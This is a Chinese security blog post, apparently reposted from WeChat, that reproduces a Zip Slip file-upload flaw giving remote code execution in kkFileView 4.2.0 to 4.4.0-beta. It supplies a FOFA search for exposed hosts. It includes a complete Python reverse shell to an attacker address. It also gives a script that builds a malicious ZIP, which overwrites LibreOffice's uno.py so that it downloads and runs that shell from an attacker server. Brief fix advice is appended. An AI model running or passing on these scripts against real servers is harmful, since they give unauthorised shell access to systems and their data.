漏洞复现 || kFileView 任意文件上传 远程代码执行

admin 2024年5月7日14:23:25评论25 views字数 1242阅读4分8秒阅读模式

免责声明

我爱林攻防研究院的技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

漏洞描述

kkFileView是一个开源的在线文件预览解决方案,支持多种文件格式,在4.2.0 <= kkFileView <= v4.4.0-beta版本的更新中,由于前台上传功能在处理压缩包时,从仅获取文件名改为获取文件名及其目录,导致出现了Zip Slip漏洞。攻击者通过上传特制的ZIP文件,可以执行服务器上的任意代码,从而获得服务器的进一步控制权。

漏洞复现 || kFileView 任意文件上传 远程代码执行

资产确定

fofa: app="kkFileView"

漏洞复现

1.先用VPS启动一个Web服务;

漏洞复现 || kFileView 任意文件上传 远程代码执行

2.利用如下Python代码为例,IP和Port根据测试自行修改,放至Python启动的Web根目录下;

import socketimport subprocessimport oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("IP",Port))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])

3.然后再运行如下Python脚本生成hack.zip,注意修改vps地址;

import zipfileif __name__ == "__main__":    try:        binary1 = b'test123'        binary2 = b'import osrnos.system('wget http://IP/demo.py && python3 demo.py')'        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("hack.zip")        zipFile.writestr("test", binary1)        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)        zipFile.close()    except IOError as e:        raise e

4.将生成的zip包 上传并预览;

漏洞复现 || kFileView 任意文件上传 远程代码执行

5.本地启动监听;

漏洞复现 || kFileView 任意文件上传 远程代码执行

6.然后再随便新建一个后缀为.odt文件进行上传预览;

漏洞复现 || kFileView 任意文件上传 远程代码执行7.成功反弹Shell.

漏洞复现 || kFileView 任意文件上传 远程代码执行

修复建议

1.升级至安全版本

2.关闭演示入口,禁用首页的文件上传功能。

如有侵权,请联系删除

原文始发于微信公众号(我爱林):漏洞复现 || kFileView 任意文件上传 远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月7日14:23:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现 || kFileView 任意文件上传 远程代码执行https://cn-sec.com/archives/2698348.html

发表评论

匿名网友 填写信息